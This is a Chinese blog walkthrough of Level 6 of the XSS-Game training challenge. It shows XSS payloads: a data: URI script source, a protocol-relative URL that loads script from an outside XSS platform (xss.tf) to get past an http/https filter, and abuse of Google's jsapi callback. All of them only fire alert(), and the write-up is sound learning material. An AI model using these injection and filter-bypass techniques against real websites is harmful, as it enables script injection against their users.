【XSS-Game】 Level 6 - Follow the 🐇



1. 解题方法一(题目 “BUG”)

明显注入点在 URL。

查看页面源码发现, 无论在 URL 输入什么都会实时回显到 script 标签的 src 属性里面:

即注入点是这样的: <script src="注入点" ></script>

要在 script 标签的 src 属性执行 js ,可以构造这样的 payload: data:text/javascript,alert('exp')

直接 pass。。最后一关简单到离谱。。

2. 解题方法二(XSS 平台)

其实这么简单就突破了,可能是这题的 BUG。

因为我一开始没看题目的 Mission Objective 变成了这样:

Find a way to make the application request an external file which will cause it to execute an alert().

即作者期望我们利用 script 标签的 src 属性去调用其他站点的 恶意 js 脚本,再由该脚本回调当前网页 的 alert,估计作者也没想到可以被钻了空子。


若按作者的思路解题,我们可以用 xss 平台做,例如: http://xss.tf

注册 xss 平台后,任意创建一个项目,然后配置项目源码,勾选最后的“自定义代码”,输入一个 JS 函数 alert() ,最后查看项目代码,会给出访问这个项目的 URL,如这里为:http://xss.tf/IUa

打开这个 xss 项目的 URL : http://xss.tf/IUa

可以看见页面只打印了一个 JS 函数 alert() ,到这里我们构造这个 xss 平台的目的就完成了。


2.1. 回调函数

回到挑战页面,前面已经知道注入点是这样的: <script src="注入点" ></script>

要从这里通过 xxs 平台回调 alert() 函数,只需要在 URL 末尾加上 callback=alert,即:

<script src="http://xss.tf/gAk?callback=alert" ></script>

回调原理大概是这样的:


2.2. 验证绕过

但是直接注入 http://xss.tf/gAk?callback=alert 是无法成功的,

原因是题目对注入点做了正则校验,不允许输入以 http 或 https 开头的内容:

但是绕过的方式也很简单,直接删掉 http:https: 即可,最终 payload 变成这样:

//xss.tf/gAk?callback=alert

在 web 网页中,以双斜杠 // 开头的 URL 写法有其特殊用途:

  • 它会判断当前的页面协议是 http 还是 https 来决定请求 url 的协议
  • 主要用于处理 [网站使用的协议] 和 [网页中请求的外网资源] 不一致的问题,达到无缝切换
  • 这种写法在 CSS 很常见,如:.omgomg { background: url(//exp-blog.com/imgs/exp.gif); }

3. 解题方法三(谷歌 jsapi)

查看 hits ,题目给出的一个提示是:google.com/jsapi?callback=foo

打开页面发现,google 会实时根据 callback=foo 的值构造一个 foo 函数

因此可以构造这样的 payload ://www.google.com/jsapi?callback=alert

这样就可以省去自己搭建 xss 平台的麻烦了,一样可以 pass :


4. 闯关成功


答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
 上一篇
qBitTorrent 离线下载教程 qBitTorrent 离线下载教程
概要种子和磁力链接是现在使用最为广泛的资源下载形式了,但有时即使找到了种子资源,也会面临墙、网速、高额收费等限制问题,导致难以顺利下载。 qBitTorrent 是一款开源免费的种子和磁力链接下载工具,支持 Windows、Mac 和 Li
2020-10-07
下一篇 
【XSS-Game】 Level 5 - Breaking protocol 【XSS-Game】 Level 5 - Breaking protocol
来源:XSS-Game 题目:Level 5 - Breaking protocol 关键找到注入点, Email 输入框只是障眼法,没有任何效果。 真正的注入点是 URL 的 ?next= 参数,输入对应的内容,会改变 Next &
2020-10-02
  目录